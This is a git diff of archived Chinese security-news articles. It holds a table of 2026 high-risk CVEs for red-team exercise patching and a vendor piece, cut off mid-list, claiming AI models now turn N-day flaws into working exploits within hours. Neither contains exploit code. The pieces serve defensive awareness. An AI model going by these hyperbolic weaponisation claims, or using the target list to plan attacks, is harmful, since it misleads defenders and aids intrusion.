+![](https://mmbiz.qpic.cn/mmbiz_png/oCABd1XUc0gspegm83bvy0eYY1ibtduu5bmDsScICsc8T3wW3dAjlWibZ3BM0y7met2h2wibVAzcwJakribicHbjlkr67ibgz3e6QoMMfpjt7fkhk/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/oCABd1XUc0hZHicchiazFOAicwngZK5jvicGHlHuTGTWxAgm6rOqjiaKSp7BvSKEmhAOyhMr7Q8ic3VPYX5XH3b93XezYcXTqhFmUTAJ1h9uGTkPM/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/oCABd1XUc0iayLFmRN7Het7CzxEl5MwgdY0TuhUy9Rw0wn3y2we3Jw05vozxicXj6QkMQbslXGbdszBKNvjyVgnaOWCBZ2JCat2WSO3HSWADU/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/oCABd1XUc0jATaFplpy4vZ2JvSyn3sFctmzOBet7Pr0JY6Bwf5OP0VvLXSawcOPoDDAsgibcGvDw5r6fh6vhdRuiacmP2UiaIrAWPEdmphqrhk/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/oCABd1XUc0hF5puy22fSetGFGF9rdEcykvaLxAPz99oqZBSdQ0UPjoicyVTc7Yb4mv3uWkuhSj0XhzPw5tXamibQtknbZfLqTj9yibFibNkNhtM/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/oCABd1XUc0h3nAV0StlicNicVbqgJSgfvu2nQBNgnicD3jFQrVreAM3NMb1eCC6J56ubgZfL9ibhrYy47sYnYA3RTw9aSPJ2AXOXbIVrrpDbAM0/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/oCABd1XUc0jibX9KIXia4j5Vib4Nuo4iaOu7yUYUBZWbH9ibpgibianRjhAbs9z4cjHsY2OxS3iaeZYI3SSRgsYGsKjI02LyHdDjpbnM4NGydnPXaB4/640?wx_fmt=png&from=appmsg "") + + +本文原文件及下列文件 + +[点这里自助下载](https://mp.weixin.qq.com/s?__biz=MjM5OTk4MDE2MA==&mid=2655293752&idx=5&sn=7db74e77188c43c824d4b8f06fd8c27b&scene=21#wechat_redirect) + + +2026HW必修高危漏洞集合2.0 +.pdf + +2026HW必修高危漏洞集合1.0 +.pdf + +2025年勒索软件态势概览报告 +.pdf + +2026年5月勒索软件流行态势报告 +.pdf + +2025年主流病毒趋势分析报告 +.pdf + +2025年漏洞趋势分析报告 +.pdf + +2025年度智能网联汽车漏洞态势分析报告 +.pdf + +2025年APT趋势洞察报告 +.pdf + +AI Agent攻防演练指南（2026版） +.pdf + +渗透测试技术要求 +.pdf + +2026年4月勒索软件流行态势报告 +.pdf + +教育网络靶场发展态势白皮书（2025） +.pdf + +漏洞挖掘智能体实践：OpenClaw生态安全风险分析 +.pdf + +2026僵尸网络趋势报告 +.pdf + +权限提升技术：攻防实战与技巧 +.pdf + +DDoS攻击威胁报告（2026） +.pdf + +勒索软件威胁与防护年度报告（2026） +.pdf + +基于 MITRE ATT&CK 的对手模拟：弥合红蓝鸿沟 +.pdf + +网络攻击溯源分析系统技术要求 +.pdf + +2026年3月勒索软件流行态势报告 +.pdf + +2025勒索软件攻击态势报告 +.pdf + +Windows应急响应和安全加固 +.pdf + +2025年中国企业邮箱安全性研究报告 +.pdf + +Apifox供应链投毒调查分析报告 +.pdf + +LiteLLM供应链投毒调查分析报告 +.pdf + +ContextHub文档投毒调查分析报告 +.pdf + +2026年02月勒索软件流行态势分析 +.pdf + +2025年网络安全漏洞态势报告 +.pdf + +2025开源供应链投毒分析技术报告 +.pdf + +OWASP TOP 10 2025（中文版） +.pdf + +人工智能攻击 +.pdf + +2026红队评价框架 +.pdf + +2026年1月勒索软件流行态势分析 +.pdf + +2025年网络空间安全漏洞态势分析研究报告 +.pdf + +2025年全球高级持续性威胁（APT）研究报告 +.pdf + +2025年度网络安全漏洞威胁态势研究报告 +.pdf + +2025年度网络安全漏洞分析报告 +.pdf + +实战化工业靶场应用指南（2025版） +.pdf + +2025年网络攻击威胁洞察报告 +.pdf + + +[加入网络安全社群](https://mp.weixin.qq.com/s?__biz=MjM5OTk4MDE2MA==&mid=2655303936&idx=2&sn=ae07eb64654d3e4471be32e7d2c52d13&scene=21#wechat_redirect) + + + +来源： +斗象科技 + diff --git a/doc/2026-06/2026攻防演练必修高危漏洞集合（2.0版）.md b/doc/2026-06/2026攻防演练必修高危漏洞集合（2.0版）.md index d586d5c0..b3dba43e 100644 --- a/doc/2026-06/2026攻防演练必修高危漏洞集合（2.0版）.md +++ b/doc/2026-06/2026攻防演练必修高危漏洞集合（2.0版）.md @@ -1,55 +1,6 @@ # 2026攻防演练必修高危漏洞集合（2.0版） - 一起聊安全 2026-06-29 07:49 - -![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWhaTeG2u7bEwF1HJNXbF7yj3Kwvv5Hmf5422j2twUIGnTnbgic2WaEKJl1vYVRfCFibY5Ueh3bj1Mgg/640?wx_fmt=gif "") - - -攻防演练必修漏洞清单汇总及文章如下： - - -**HVV文章相关：** - -**大佬眼中的HVV？** - -**** -**HVV在即，重大活动网络安全保障建设（两高一弱需重视）** - - -**高危漏洞集合：** - -[2026攻防演练必修漏洞合集](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247523757&idx=1&sn=bcfbda572e4c5fefe026e7a22aad830c&scene=21#wechat_redirect) - - - -**2024攻防演练必修高危漏洞集合** - -**** -**2024攻防演练利器之118项必修高危漏洞合集** - - -**划重点：2024攻防演练需要关注的高危漏洞清单** - - -[警惕风险突出的100个高危漏洞（全）](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247514628&idx=1&sn=d8243253476b6c8e08636115e6d342e7&scene=21#wechat_redirect) - - - -[2025 HVV将至，600+历年攻防演练必修漏洞合集！](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247519843&idx=1&sn=859ac3c2ec0097833a5c213cab75f3d9&scene=21#wechat_redirect) - - - -[《2025年攻防演练必修高危漏洞合集》](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247520768&idx=1&sn=5d38e98a33103bbc9c386a357f878f50&scene=21#wechat_redirect) - - - -[《2025HW必修高危漏洞集合（3.0版）》](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247520801&idx=1&sn=2013891b7fd924d8bbd7bd68b0992527&scene=21#wechat_redirect) - - - -[护网大考！请你收下这份《2025年攻防演练必修漏洞清单》](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247520801&idx=1&sn=2013891b7fd924d8bbd7bd68b0992527&scene=21#wechat_redirect) - - - +斗象科技 + 斗象科技 乌雲安全 2026-06-30 00:10 高危风险漏洞一直是国内护网期间企业网络安全防护的重点风险面。随着政企单位业务系统、办公协同、ERP、CRM、运维安全、视频安防、MES、指挥调度等系统逐步国产化，红队打点目标也会更多转向国内常见应用和行业场景系统。 @@ -60,7 +11,7 @@ HW攻防演练在即，斗象XVI扩展漏洞情报结合近期漏洞情报、公 。本版重点覆盖国产化环境下更常见的业务系统、协同办公、运维管理和行业应用，便于企业补充第一版之外的自查清单。 -![](https://mmecoa.qpic.cn/sz_mmecoa_png/TianBfDibsTJFp7QBa7GKQ0oQVU6euSyZ3PQkNzqoXE0Hv5F6c2VBHE18vGGXoTXYia61TJ7ySKOhnZvC3niaDTtw5RicXlIF8QXvIbW4ibsJsOCk/640?wx_fmt=png&from=appmsg "") +![](https://mmecoa.qpic.cn/sz_mmecoa_png/TianBfDibsTJFp7QBa7GKQ0oQVU6euSyZ3PQkNzqoXE0Hv5F6c2VBHE18vGGXoTXYia61TJ7ySKOhnZvC3niaDTtw5RicXlIF8QXvIbW4ibsJsOCk/640?wx_fmt=png&from=appmsg#imgIndex=0 "") 本期报告整理收录了2026年公开披露且适合HW排查的高危漏洞，包含漏洞基础信息、影响范围、风险研判、检测思路和修复建议。企业可结合自身资产暴露面、系统重要性和可访问范围开展针对性排查。 @@ -344,65 +295,8 @@ Oracle、Apache、Cisco、Ivanti、深信服、用友、天锐绿盾、九麒科 minor-latin;">注入

业务管理系统

-**全部内容请到帮会中下载，感谢支持！！** +扫码领取PDF版本 -END - -来源： -斗象智能安全 - -**freebuf 帮会简介** - -![](https://mmbiz.qpic.cn/mmbiz_gif/GVddVRW7oDEVbUCJAMic9gZNHQKMIDs4q4XgJFzav6HztpaianNrNvDDB8E7eawnRSbzEy55S0g6lSXghg2vkzUg/640?wx_fmt=gif "") - -**「一起聊安全」** -公众号及帮会 -致力于网络安全材料汇总与分享， -围绕**网络****安全标准** -、**安全政策法规** -、**安全报告及白皮书** -、**安全会议、安全方案、新技术** -等 -方向 -，与FREEBUF知识大陆共建**【一起聊安全】帮会** -，目前相关内容已有 -**8000+** -，安全标准涵盖国标、行标、团标等，包括等保、关基、商密、数据安全、 -云计算、 -物联网、工业互联网、移动安全、风险评估、安全攻防等30+方向内容，覆盖最新安全政策法规 -、 -安全报告及白皮书等，为网安人提供最新最全资料。**** - -![](https://mmbiz.qpic.cn/mmbiz_png/m7P2WNG81X6oLJEDDLlYXmCMLMlpBOIH2ZDHCjm0nNUVJrdWJzuptfr3DHRKwSHEfDPUlO1Fz4eHLs3iaHDyN1A/640?wx_fmt=png&from=appmsg "") - -**加入方式：网页端和APP** +![](https://mmbiz.qpic.cn/mmbiz_jpg/5yYXmGfnscRuXHlbFbibZXMIdNatIdibDmCabNKoRMVickPosY7FgG2tyObBibV1RHDbgdqP69kJ5icic4M7WiaaCYpHp6XdEN6OibxsCb4vhLVVWr0/640?wx_fmt=jpeg "") -**网页端：** -**https://wiki.freebuf.com/societyDetail?society_id=69** - -**APP端：** - -![](https://mmbiz.qpic.cn/mmbiz_png/m7P2WNG81X5tEVZrRY6pZFxM4kO5ReXZ9M0eAr2aUTpy17dK2heeG0qrktJ6kxBzEYBm7RdDf4PpTuXCYN07uQ/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") - -加入帮会是所有材料均可下载！ - -![](https://mmbiz.qpic.cn/mmbiz_gif/GVddVRW7oDEVbUCJAMic9gZNHQKMIDs4qfcR51jSJUB2CA1ATfdwPXX8ib1SoFsJQLbbVMTAQYdyVoettMpMTaIg/640?wx_fmt=gif "") - - -![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWiaHpokNh4uWxia9Vv2eYjfzjK9Euejia8GQQAicPWkJI7HfpDplIlc3tPr73ZYKHIdg9kIHpWaJia2tGA/640?wx_fmt=gif "") - -**点分享** - -![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWiaHpokNh4uWxia9Vv2eYjfzjXjW9bUCoUia7g4iaVGGGm5AKWRMoDMQoFDdJuiceofhPJ8SJpKSGToZcw/640?wx_fmt=gif "") - -**点收藏** - -![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWiaHpokNh4uWxia9Vv2eYjfzjAEe2Bq3UgWlgxribzfYtnQ6EVkxkao5qmK0xpaoycfHyGVl7zFicPGibw/640?wx_fmt=gif "") - -**点在看** - -![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWiaHpokNh4uWxia9Vv2eYjfzjDia9eCL6sIvuL17F5uKHsjx0GNc6estct1jOfWh4EtOcVsvzynOar1Q/640?wx_fmt=gif "") - -**点点赞** - diff --git a/doc/2026-06/2026攻防演练必修高危漏洞集合（更新）.md b/doc/2026-06/2026攻防演练必修高危漏洞集合（更新）.md new file mode 100644 index 00000000..674f3126 --- /dev/null +++ b/doc/2026-06/2026攻防演练必修高危漏洞集合（更新）.md @@ -0,0 +1,352 @@ +# 2026攻防演练必修高危漏洞集合（更新） + 一起聊安全 2026-06-30 01:03 + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWhaTeG2u7bEwF1HJNXbF7yj3Kwvv5Hmf5422j2twUIGnTnbgic2WaEKJl1vYVRfCFibY5Ueh3bj1Mgg/640?wx_fmt=gif "") + + +攻防演练必修漏洞清单汇总及文章如下： + + +**HVV文章相关：** + +**大佬眼中的HVV？** + +**** +**HVV在即，重大活动网络安全保障建设（两高一弱需重视）** + + +**高危漏洞集合：** + +**2026攻防演练必修高危漏洞集合（2.0版）** + +**** +[2026攻防演练必修漏洞合集](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247523757&idx=1&sn=bcfbda572e4c5fefe026e7a22aad830c&scene=21#wechat_redirect) + + + +**2024攻防演练必修高危漏洞集合** + +**** +**2024攻防演练利器之118项必修高危漏洞合集** + + +**划重点：2024攻防演练需要关注的高危漏洞清单** + + +[警惕风险突出的100个高危漏洞（全）](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247514628&idx=1&sn=d8243253476b6c8e08636115e6d342e7&scene=21#wechat_redirect) + + + +[2025 HVV将至，600+历年攻防演练必修漏洞合集！](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247519843&idx=1&sn=859ac3c2ec0097833a5c213cab75f3d9&scene=21#wechat_redirect) + + + +[《2025年攻防演练必修高危漏洞合集》](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247520768&idx=1&sn=5d38e98a33103bbc9c386a357f878f50&scene=21#wechat_redirect) + + + +[《2025HW必修高危漏洞集合（3.0版）》](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247520801&idx=1&sn=2013891b7fd924d8bbd7bd68b0992527&scene=21#wechat_redirect) + + + +[护网大考！请你收下这份《2025年攻防演练必修漏洞清单》](https://mp.weixin.qq.com/s?__biz=MzI3NjUzOTQ0NQ==&mid=2247520801&idx=1&sn=2013891b7fd924d8bbd7bd68b0992527&scene=21#wechat_redirect) + + + +高危风险漏洞一直是企业网络安全防护体系中的薄弱环节，更是HW攻防演练期间红队实现突破的关键切入点。每逢HW期间，大量高危漏洞被红队作为突破口集中利用，成为撕开企业网络边界防线的利器。不少企业正是由于未能及时修复此类漏洞，导致整体防御体系被轻易击穿，甚至靶标失守，最终遗憾出局。 + + + +2026HW攻防演练在即，斗象XVI扩展漏洞情报深度整合了漏洞盒子的实时海量数据、白帽社区的一手情报以及FreeBuf安全门户的安全资讯， +发布 +《2026HW必修高危漏洞集合（1.0版）》 +。旨在协助企业在HW攻防演练前期开展精准的风险自查，最大程度消除已知高危隐患，加固网络边界防线。 + +![](https://mmecoa.qpic.cn/sz_mmecoa_jpg/TianBfDibsTJE62OPeQYadYt1gMuxHhteU2ZbkHp8kz7JvZqKGicrucvE6icS3El8ibmc6RvuzZ0tPARiaq16wgKndiaCfFXJgJH59picV8fjRk28fs/640?wx_fmt=jpeg "") + + +本期报告整理收录了2025年10月至2026年6月在攻防演练中被红队利用最频繁且对企业危害较高的漏洞，包含了详细的漏洞基础信息、检测规则和修复方案，企业可根据自身资产信息进行针对性的排查、配置封堵策略和漏洞修复相关工作。 + + +**1** + +**漏洞数据汇总** + +以下数据针对2025年10月至2026年6月期间，攻防演练中红队利用率较高的漏洞进行 +系统梳理 +， +具体汇总如下： +- **远程代码执行** +漏洞数量： +13 +个 + +涉及厂商： +Oracle、Apache ActiveMQ、Veeam、Microsoft、React、Fortra、HPE、Samba、Ivanti、Fortinet、Apache Tomcat、Kubernetes、泛微 +- **认证/授权绕过** + +漏洞数量： +3  +个 + +涉 +及厂商： +Check Point、Palo Alto Networks +、 +Next.js +- **SQL 注入漏洞** + +漏洞数量： +3  +个 + +涉及 +厂商： +Drupal、用友时 +空、孚盟云 + +- **内存破坏/RCE风险** + +漏洞数量： +2  +个 + +涉 +及厂商 +： +7-Zip、Google +- **其他** + +漏洞数量：13 + +漏洞类型： +命令注入/提权、 +反序列化、 +路径遍历/文件读取、 +反序列化绕过、 +本地提权、 +访问控制错误、 +任意文件下载 + +涉及厂商： +Cis +co、 +用友、 +XWiki、 +Apache、 +Linux Kernel、 +通达OA + + +**2** + +**本次高危漏洞自查列表** + +

漏洞名称

漏洞编号

类型

资产类别

Check Point Remote Access VPN 认证绕过漏洞

CVE-2026-50751

认证绕过

边界设备/VPN

Oracle PeopleSoft 远程代码执行漏洞

CVE-2026-35273

远程代码执行

企业应用/ERP

Palo Alto Networks PAN-OS GlobalProtect 认证绕过漏洞

CVE-2026-0257

认证绕过

边界设备/VPN

Cisco Catalyst SD-WAN Manager 命令注入提权漏洞

CVE-2026-20245

命令注入/提权

网络管理/SD-WAN

Drupal   Core SQL 注入漏洞

CVE-2026-9082

SQL注入

CMS/门户

Apache ActiveMQ Jolokia 远程代码执行漏洞

CVE-2026-34197

远程代码执行

中间件/消息队列

OpenTelemetry Java Agent RMI 反序列化远程代码执行漏洞

CVE-2026-33701

反序列化RCE

Java组件/可观测性

Veeam Service Provider Console 远程代码执行漏洞

CVE-2026-32998

远程代码执行

备份/运维平台

Microsoft SharePoint ToolShell 远程代码执行漏洞

CVE-2025-53770

反序列化RCE

协同办公/门户

React Server Components React2Shell 远程代码执行漏洞

CVE-2025-55182

远程代码执行

Web框架/前端服务端渲染

Fortra GoAnywhere MFT 反序列化命令注入漏洞

CVE-2025-10035

反序列化/命令注入

文件传输/MFT

HPE OneView 远程代码执行漏洞

CVE-2025-37164

远程代码执行

数据中心管理

Citrix NetScaler ADC/Gateway 高危漏洞

CVE-2026-3055

敏感信息泄露/认证风险

边界设备/应用交付

7-Zip NTFS 解析堆缓冲区溢出漏洞

CVE-2026-48095

内存破坏/RCE风险

终端/文件处理

Google Chrome V8 零日漏洞

CVE-2026-11645

内存破坏/RCE风险

浏览器/终端

WP Maps Pro WordPress 插件未授权管理员创建漏洞

CVE-2026-8732

权限提升

CMS插件/WordPress

Kirki   WordPress 插件未授权账户接管漏洞

CVE-2026-8206

账户接管

CMS插件/WordPress

XWiki 路径遍历漏洞

CVE-2026-23734

路径遍历/文件读取

知识库/协同平台

Apache PyFory 反序列化策略绕过漏洞

CVE-2026-48207

反序列化绕过

开发组件/序列化

Samba 打印子系统远程代码执行漏洞

CVE-2026-4480

远程代码执行

文件共享/域环境

Linux Kernel Copy Fail 本地权限提升漏洞

CVE-2026-31431

本地提权

操作系统/内核

Linux Kernel Fragnesia 本地权限提升漏洞

CVE-2026-46300

本地提权

操作系统/内核

Cisco Secure Workload 访问控制错误漏洞

CVE-2026-20223

访问控制错误

安全管理平台

Ivanti Connect Secure 栈溢出远程代码执行漏洞

CVE-2025-0282

远程代码执行

边界设备/VPN

Fortinet FortiVoice 远程代码执行漏洞

CVE-2025-32756

远程代码执行

边界/通信设备

Apache Tomcat 远程代码执行漏洞

CVE-2025-24813

远程代码执行/文件写入

Web中间件

Next.js Middleware 授权绕过漏洞

CVE-2025-29927

认证/授权绕过

Web框架

Kubernetes ingress-nginx 远程代码执行漏洞

CVE-2025-1974

远程代码执行

云原生/入口控制器

Erlang/OTP SSH 远程代码执行漏洞

CVE-2025-32433

远程代码执行

开发组件/服务端

用友时空KSOA save_folder 存在sql注入漏洞

TVD-2026-17959

SQL注入

国产ERP

(CVE-2026-22679)   泛微 E-cology 10 Dubbo 调试接口远程代码执行漏洞

CVE-2026-22679

远程代码执行

国产OA

孚盟云 PriceList.ashx SQL注入漏洞

TVD-2026-15690

SQL注入

国产CRM/外贸管理系统

用友NC ResourceManagerServlet   反序列化漏洞

TVD-2026-15337

反序列化

国产ERP

通达OA video_file.php 任意文件下载漏洞

TVD-2026-15329

任意文件下载

国产OA

+ +**全部内容请到帮会中下载，感谢支持！！** + +END + +来源： +斗象智能安全 + +**freebuf 帮会简介** + +![](https://mmbiz.qpic.cn/mmbiz_gif/GVddVRW7oDEVbUCJAMic9gZNHQKMIDs4q4XgJFzav6HztpaianNrNvDDB8E7eawnRSbzEy55S0g6lSXghg2vkzUg/640?wx_fmt=gif "") + +**「一起聊安全」** +公众号及帮会 +致力于网络安全材料汇总与分享， +围绕**网络****安全标准** +、**安全政策法规** +、**安全报告及白皮书** +、**安全会议、安全方案、新技术** +等 +方向 +，与FREEBUF知识大陆共建**【一起聊安全】帮会** +，目前相关内容已有 +**8000+** +，安全标准涵盖国标、行标、团标等，包括等保、关基、商密、数据安全、 +云计算、 +物联网、工业互联网、移动安全、风险评估、安全攻防等30+方向内容，覆盖最新安全政策法规 +、 +安全报告及白皮书等，为网安人提供最新最全资料。 + +![](https://mmbiz.qpic.cn/mmbiz_png/m7P2WNG81X6oLJEDDLlYXmCMLMlpBOIH2ZDHCjm0nNUVJrdWJzuptfr3DHRKwSHEfDPUlO1Fz4eHLs3iaHDyN1A/640?wx_fmt=png&from=appmsg "") + +**加入方式：网页端和APP** + + +**网页端：** +**https://wiki.freebuf.com/societyDetail?society_id=69** + +**APP端：** + +![](https://mmbiz.qpic.cn/mmbiz_png/m7P2WNG81X5tEVZrRY6pZFxM4kO5ReXZ9M0eAr2aUTpy17dK2heeG0qrktJ6kxBzEYBm7RdDf4PpTuXCYN07uQ/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +加入帮会是所有材料均可下载！ + +![](https://mmbiz.qpic.cn/mmbiz_gif/GVddVRW7oDEVbUCJAMic9gZNHQKMIDs4qfcR51jSJUB2CA1ATfdwPXX8ib1SoFsJQLbbVMTAQYdyVoettMpMTaIg/640?wx_fmt=gif "") + + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWiaHpokNh4uWxia9Vv2eYjfzjK9Euejia8GQQAicPWkJI7HfpDplIlc3tPr73ZYKHIdg9kIHpWaJia2tGA/640?wx_fmt=gif "") + +**点分享** + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWiaHpokNh4uWxia9Vv2eYjfzjXjW9bUCoUia7g4iaVGGGm5AKWRMoDMQoFDdJuiceofhPJ8SJpKSGToZcw/640?wx_fmt=gif "") + +**点收藏** + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWiaHpokNh4uWxia9Vv2eYjfzjAEe2Bq3UgWlgxribzfYtnQ6EVkxkao5qmK0xpaoycfHyGVl7zFicPGibw/640?wx_fmt=gif "") + +**点在看** + +![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWiaHpokNh4uWxia9Vv2eYjfzjDia9eCL6sIvuL17F5uKHsjx0GNc6estct1jOfWh4EtOcVsvzynOar1Q/640?wx_fmt=gif "") + +**点点赞** + diff --git a/doc/2026-06/AI彻底改写漏洞攻防：N日漏洞变N小时，企业传统防御已全面失效.md b/doc/2026-06/AI彻底改写漏洞攻防：N日漏洞变N小时，企业传统防御已全面失效.md new file mode 100644 index 00000000..2139be48 --- /dev/null +++ b/doc/2026-06/AI彻底改写漏洞攻防：N日漏洞变N小时，企业传统防御已全面失效.md @@ -0,0 +1,134 @@ +# AI彻底改写漏洞攻防：N日漏洞变N小时，企业传统防御已全面失效 +河北镌远 + 河北镌远 河北镌远网络科技有限公司 2026-06-30 02:30 + +![](https://mmbiz.qpic.cn/mmbiz_gif/5xic9OHsHiafbUVg4naibSQnNsuMVRYqdlLLzHovhH9jcrrEaj6ia94y9TTpBJTlQDQBcgwMczFq8BRURR9fJIdeLg/640?wx_fmt=gif&from=appmsg "") + + +在网络安全行业，一直有一个公认的安全缓冲逻辑：**漏洞公开≠立刻沦陷** +。 + +过去数年，企业通用的安全运维节奏十分稳定：漏洞披露后，留给运维人员3-7天的修复窗口期，只要在大规模攻击工具扩散前完成补丁更新、设备加固，就能大概率规避风险。即便高危N-day漏洞公开，黑产从复现漏洞、编写攻击载荷、打磨入侵工具，往往需要数天甚至数周时间。 + +但**2026年6月下旬，这一安全共识被彻底击碎** +。 + +随着头部AI大模型实现漏洞武器化技术突破，网络攻防节奏迎来颠覆性变革：**传统需要数天完成的漏洞利用开发，如今被压缩至数小时。N日漏洞彻底沦为N小时极速漏洞，企业按月、按周的传统静态防御模式，正式全面失效。** + +本篇文章聚焦6月下旬全网最新AI攻防态势，深度拆解漏洞极速武器化的底层逻辑、企业致命风险、真实落地场景，同时给出适配大中小微企业的全新极速防御体系，帮助企业适配AI时代的攻防新战局。 + + +**权威实锤：6月下旬AI漏洞攻防颠覆性突破** + +![](https://mmbiz.qpic.cn/mmbiz_png/oWag3KdTBd6yfofd4T1vBDD8QDGYv1BzYhU1526ibgOrMzhQA4yDoha6cZQ65RwqygE6zuTO0jrBicnAURsr8o1lhOJ4DBoS72YiaQ96ATQHZ4/640?from=appmsg "") + +## + +本次行业变局并非行业猜想，而是来自6月下旬Anthropic官方披露的最新攻防测试实测数据，也是当前全网网安机构重点预警的核心风险，直接颠覆全网漏洞防御规则。 + +其旗下最新迭代的Mythos Preview安全大模型，完成了一项划时代的攻击突破：**全自动、零人工干预完成N-day漏洞分析、复现验证、攻击载荷编写、批量入侵工具打磨全流程工作。** + +在以往的漏洞攻防体系中，一次成熟的漏洞武器化，需要安全研究员或黑客完成多个高门槛步骤：阅读官方漏洞公告、分析源码差异、搭建测试环境、调试漏洞复现流程、规避防护规则、生成可用攻击工具，整套流程对技术能力要求极高，且耗时极长。 + +而AI的介入，直接抹平了所有技术门槛与时间门槛： + +1. **时间维度极致压缩** +：将原本3-7天的漏洞武器化周期，压缩至2-6小时，漏洞刚公开，可用攻击工具随即诞生； + +2. **技术门槛彻底归零** +：无需专业网安攻防知识，普通黑产从业者借助AI，即可批量生成针对Windows服务器、办公系统、开源组件、浏览器的高危攻击程序； + +3. **攻击适配性极强** +：AI可根据企业不同系统版本、防护策略，自动微调攻击代码，绕过常规防火墙、终端防护、入侵检测设备。 + +**行业权威最终研判：2026年下半年，网络漏洞正式进入「当日公开、当日武器化、当日批量入侵」的极速时代。** + +**** +**深度拆解：AI漏洞武器化，到底颠覆了什么？** + +![](https://mmbiz.qpic.cn/mmbiz_png/oWag3KdTBd6yfofd4T1vBDD8QDGYv1BzYhU1526ibgOrMzhQA4yDoha6cZQ65RwqygE6zuTO0jrBicnAURsr8o1lhOJ4DBoS72YiaQ96ATQHZ4/640?from=appmsg "") + +## + +很多企业认为：漏洞修复只是慢一点，不会产生致命风险。但事实上，AI带来的漏洞攻防变革，是**降维式打击** +，直接让企业传统安全运维体系形同虚设。 +### 1. 彻底终结企业“补丁滞后”的容错空间 + +绝大多数中小企业、传统制造企业的运维节奏为：月度统一巡检、月度批量打补丁。这套节奏在人工攻击时代完全可行，但在AI极速攻击时代，存在致命漏洞。 + +高危漏洞周一公开，AI工具2小时内完成武器化，半天时间即可在暗网公开扩散，黑产批量扫描全网资产，周末之前未修复的企业，会被批量入侵、挂马、加密数据。**按月修复的节奏，在AI攻击面前，等同于永久裸奔。** +### 2. 小众存量漏洞，沦为批量收割工具 + +企业往往只重点修复官宣的顶级高危漏洞，大量中危、老旧、小众存量漏洞被长期忽略。在过去，这类漏洞利用成本高、成功率低，黑产不屑利用。 + +而AI可以批量扫描、批量分析全网存量漏洞，自动组合漏洞链条，利用“低危漏洞组合击穿内网”，大量企业因不起眼的老旧漏洞，遭遇内网沦陷、数据泄露。 +### 3. 攻防差距彻底拉大，防守方陷入被动死循环 + +攻击端：AI7×24小时不间断挖掘、复现、迭代漏洞工具，效率是人工的上百倍； + +防守端：依赖人工巡检、人工研判、人工打补丁，人力效率、响应速度完全跟不上AI迭代节奏。 + +**当下网安最大的危机：不是漏洞变多了，而是攻击速度远超人类修复速度，传统人工防御体系已经彻底不对称。** + +**** +**企业真实中招场景：三类企业已成AI漏洞重灾区** + +![](https://mmbiz.qpic.cn/mmbiz_png/oWag3KdTBd6yfofd4T1vBDD8QDGYv1BzYhU1526ibgOrMzhQA4yDoha6cZQ65RwqygE6zuTO0jrBicnAURsr8o1lhOJ4DBoS72YiaQ96ATQHZ4/640?from=appmsg "") + +## + +结合6月下旬全网攻击监测数据，AI漏洞攻击不再针对大型政企，开始无差别下沉，三类企业中招率最高，务必重点警惕： +### 1. 采用月度补丁机制的中小微企业 + +无专职网安人员，运维兼顾多岗，漏洞修复滞后性极强，AI武器化漏洞扩散后，是黑产批量扫描、批量入侵的主要目标，极易遭遇勒索加密、业务瘫痪。 +### 2. 使用开源组件、自研系统的科创/研发企业 + +企业业务依赖大量开源框架、自研程序，存在大量未知漏洞、隐性漏洞，AI可快速挖掘代码缺陷、生成攻击载荷，窃取研发数据、源码、核心技术资料。 +### 3. 端口暴露多、资产底数混乱的制造/园区企业 + +外网开放端口多、老旧设备多、闲置资产多，资产台账混乱，无法及时发现漏洞隐患，AI批量扫描后可快速突破边界，横向渗透内网，掌控全网设备。 + + +**适配AI极速攻防！企业全新漏洞防御落地指南** + +![](https://mmbiz.qpic.cn/mmbiz_png/oWag3KdTBd6yfofd4T1vBDD8QDGYv1BzYhU1526ibgOrMzhQA4yDoha6cZQ65RwqygE6zuTO0jrBicnAURsr8o1lhOJ4DBoS72YiaQ96ATQHZ4/640?from=appmsg "") + +## + +面对N日漏洞变N小时的攻防变局，企业无需盲目堆砌安全设备，只需彻底摒弃传统静态防御思维，搭建**极速响应、极简运维、全域收敛** +的新型漏洞防御体系，所有方案轻量化、零大额投入，即刻可落地。 +### ✅ 1. 重构漏洞修复机制：放弃月度更新，启用「高危24小时响应」规则 + +针对系统、服务器、办公软件、开源组件高危漏洞，建立专项预警台账，只要纳入在野利用、AI可武器化的漏洞，必须做到24小时内完成研判、48小时内完成全量修复，彻底压缩AI攻击窗口期。普通常规漏洞保持周度巡检更新，分层分级管控，兼顾安全与运维效率。 +### ✅ 2. 